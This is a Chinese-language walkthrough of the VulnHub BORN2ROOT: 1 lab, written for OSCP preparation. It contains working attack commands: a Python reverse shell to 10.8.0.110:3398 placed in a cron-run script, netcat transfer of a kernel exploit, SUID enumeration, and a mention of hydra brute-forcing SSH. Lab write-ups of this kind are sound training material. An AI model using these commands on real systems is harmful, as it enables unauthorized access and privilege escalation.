-
资产发现
-
主机发现
-
服务发现
-
漏洞发现(获取权限)
-
80端口/HTTP服务
-
组件漏洞
-
URL漏洞
-
提升权限
-
martin用户
-
sudo
-
suid
-
cron
-
jimmy用户
-
sudo
-
suid
-
cron
-
内核提权
-
信息收集
-
最终提权
1、资产发现
1.1、主机发现
本次靶场BORN2ROOT: 1[1]指定IP,不涉及主机发现过程。
1.2、服务发现
使用命令sudo -u root nmap 172.16.33.98 -n -Pn -p- --reason -sV -sC -O
,发现主机开放的端口、提供的服务、使用的组件、组件的版本。
开放的端口 |
提供的服务 |
使用的组件 |
组件的版本 |
22/tcp |
ssh |
OpenSSH |
6.7p1 |
80/tcp |
http |
Apache httpd |
2.4.10 |
111/tcp |
rpcbind |
? |
? |
38734/tcp |
status |
? |
? |
- |
Os |
Debian Linux |
? |
2、漏洞发现(获取权限)
2.1、80端口/HTTP服务
2.1.1、组件漏洞
0x01、Web中间件
使用命令searchsploit Apache httpd 2.4.
未发现Web中间件Apache httpd 2.4.10的Nday漏洞。
0x02、Web框架
使用浏览器插件Wappalyzer未发现存在Nday漏洞的Web框架。
2.1.2、URL漏洞
0x01、直接访问
浏览器打开http://172.16.33.98/
,除了3个人名Martin
、Hadi
、Jimmy
外几乎一无所获,等到后面没招了可以用这3个人名爆破SSH服务。
0x02、目录扫描
前面nmap发现的/robots.txt
文件里有/wordpress-blog
和/files
两个文件。
打开/wordpress-blog
是一句YOU JUST GOT TROLLED!
你被恶搞了的嘲讽,看来不是WordPress呀。打开/files
是空的。
使用命令dirsearch -u http://172.16.33.98/ -x 403
,新发现了/icons
文件和/manual
文件。
/manual
文件是Web中间件的用户手册,没啥用。/icons
文件打开是个目录,对于非图片的文件逐个打开看看吧,结果发现http://172.16.33.98/icons/VDSoyuAXiO.txt
是SSH私钥,看来前面发现的3个人名派上用场了。
使用命令wget http://172.16.33.98/icons/VDSoyuAXiO.txt
下载SSH私钥文件后,使用命令ssh [email protected] -i VDSoyuAXiO.txt
登录SSH服务,结果提示bad permissions
。
使用命令chmod 0600 VDSoyuAXiO.txt
修改文件权限后再次登录,结果提示no mutual signature supported
。
网上查阅文章ssh连接服务器报错“no mutual signature supported”[2]提到可以使用参数-o PubkeyAcceptedKeyTypes=+ssh-rsa
。使用命令ssh [email protected] -i VDSoyuAXiO.txt -o PubkeyAcceptedKeyTypes=+ssh-rsa
,成功登录martin账号。
0x03、模糊测试
基于目前已知情况,没有对网站的目录或文件进行FUZZ的必要。
0x04、切换协议
浏览器访问https://172.16.33.98:80/
,发现连接失败,网站不支持SSL。
3、提升权限
3.1、martin用户
3.1.1、sudo
使用命令sudo -l
查看当前用户能以谁的命令执行什么权限,发现没有sudo命令。使用命令which sudo
确认确实没有sudo命令。
3.1.2、suid
使用命令find / -perm -u=s -type f -ls 2>/dev/null
查看哪些命令在执行时会以命令属主的权限执行,发现不少。逐个在GTFOBins[3]搜索能否用于提权,发现都不行。
3.1.3、cron
使用命令find /var/spool/cron/ -type f -ls 2>/dev/null
查看定时任务,一个没有。使用命令find /var/spool/cron/ -type f -ls
不隐藏报错,原来是没有查看权限。
使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} ; > /tmp/cron.txt; grep '*' /tmp/cron.txt
查看定时任务,发现一个有意思的计划任务*/5 * * * * jimmy python /tmp/sekurity.py
,jimmy用户每五分钟会执行一次/tmp/sekurity.py脚本。
使用命令ls -l /tmp/sekurity.py
查看当前用户有无read和write权限,结果报错Aucun fichier ou dossier de ce type
,不存在该脚本文件。那就直接使用命令echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.0.110",3398));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")' > /tmp/sekurity.py
创建该脚本文件并写入反弹shell。
本地使用命令nc -nvlp 3398
进行监听,5分钟内获得jimmy用户的反弹shell,成功完成越权。
3.2、jimmy用户
3.2.1、sudo
结果和martin用户一样。
3.2.2、suid
使用命令find / -perm -u=s -type f -ls 2>/dev/null
查看哪些命令在执行时会以命令属主的权限执行,发现不少。逐个检查能否用于提权,发现/home/jimmy/networker
命令的other用户具有read、write、execute权限,那岂不是写入提权代码就能获得提权了?
使用命令python -c 'import pty; pty.spawn("/bin/bash")'
获得交互式shell后,使用命令/home/jimmy/networker
执行该命令,发现不需要输入参数就能执行,是打印网卡信息并ping本地。
使用命令strings /home/jimmy/networker
查看命令内容,获得5行核心代码,其中第2、3行的/sbin/ifconfig
和/bin/ping -c 1 localhost
会被执行,第1、4、5行会被打印出来。
那么可以在第2、3行代码中写入提权代码,或者狠一点把整个命令全部改成提权代码,这样就能获得提权了。但实际上该networker命令只要是被修改过,suid
权限就会丢失,因此这条路算是被堵死了。
那么地2、3行代码用到的/sbin/ifconfig
和/bin/ping
命令能不能写入提权代码呢?使用命令ls -l /sbin/ifconfig /bin/ping
发现other用户没有write权限,看来这条路也被堵死了。
3.1.3、cron
结果和martin用户一样。
3.1.4、内核提权
使用命令uname -r
发现内核版本是3.16.0-4-586
,使用命令cat /etc/*release
发现发行版本是Debian 8
。
本地使用命令searchsploit Debian 8 3.16.0
发现本地提权EXP,使用命令searchsploit -m 44302
将EXP拷贝到当前目录,并使用命令gcc 44302.c -o 44302 --static
进行编译。
靶机使用命令nc -nvlp 4444 > /tmp/44302
接收EXP。本地使用命令nc -nv 172.16.33.98 4444 < 44302
上传EXP后使用命令Ctrl+C
关闭连接。靶机使用命令chmod +x /tmp/44302
赋予EXP执行权限后使用命令/tmp/44302
执行EXP,提示报错cannot execute binary file: Erreur de format pour exec()
。
网上查阅文档解决linux下cannot execute binary file: Exec format error[4]得知可能是本地编译EXP的机器的CPU和靶机的CPU不一样导致的,那就在靶机上编译EXP吧。
靶机使用命令nc -nvlp 4444 > /tmp/44302.c
接收EXP。本地使用命令nc -nv 172.16.33.98 4444 < 44302.c
上传EXP后使用命令Ctrl+C
关闭连接。靶机使用命令 gcc 44302.c -o 44302
编译EXP,提示HAHA ... Nope
。
使用命令which gcc
查看gcc命令地址后使用命令cat /usr/bin/gcc
查看gcc命令内容,发现被恶搞了,I GOT TROLLED AGAIN!
3.1.5、信息收集
使用命令find /root/ -type f -ls 2>/dev/null
查看特权用户目录,无收获。使用命令find /home/ -type f -ls 2>/dev/null
查看普通用户目录,发现/home/hadi/
目录下存在一些有缓冲区溢出漏洞的命令。但因为这些命令没有suid权限,所以利用该漏洞也只是能拿到当前用户的shell,而无法提权到root用户。
3.3、最终提权
martin用户和jimmy用户都无法提权,查遍国内外所有WriteUp,全部也是这个结论,看来只能暂时作罢。
国内外所有WriteUp的提权方法,逻辑我不太认同。这些WriteUp的逻辑清一色是既然martin和jimmy用户无法提权,那就从hadi用户突破,基于用户名hadi生成定制化的密码本,然后hydra爆破SSH服务成功得到账户密码hadi/hadi123
,获得hadi用户权限。
再然后直接使用命令su root
通过密码hadi123
切换到root用户,成功完成提权。
参考资料
BORN2ROOT: 1: https://www.vulnhub.com/entry/born2root-1,197/
[2]ssh连接服务器报错“no mutual signature supported”: https://www.jianshu.com/p/b7dacbde6db8
[3]GTFOBins: https://gtfobins.github.io
[4]解决linux下cannot execute binary file: Exec format error: https://blog.csdn.net/owen7500/article/details/52397353
原文始发于微信公众号(OneMoreThink):靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论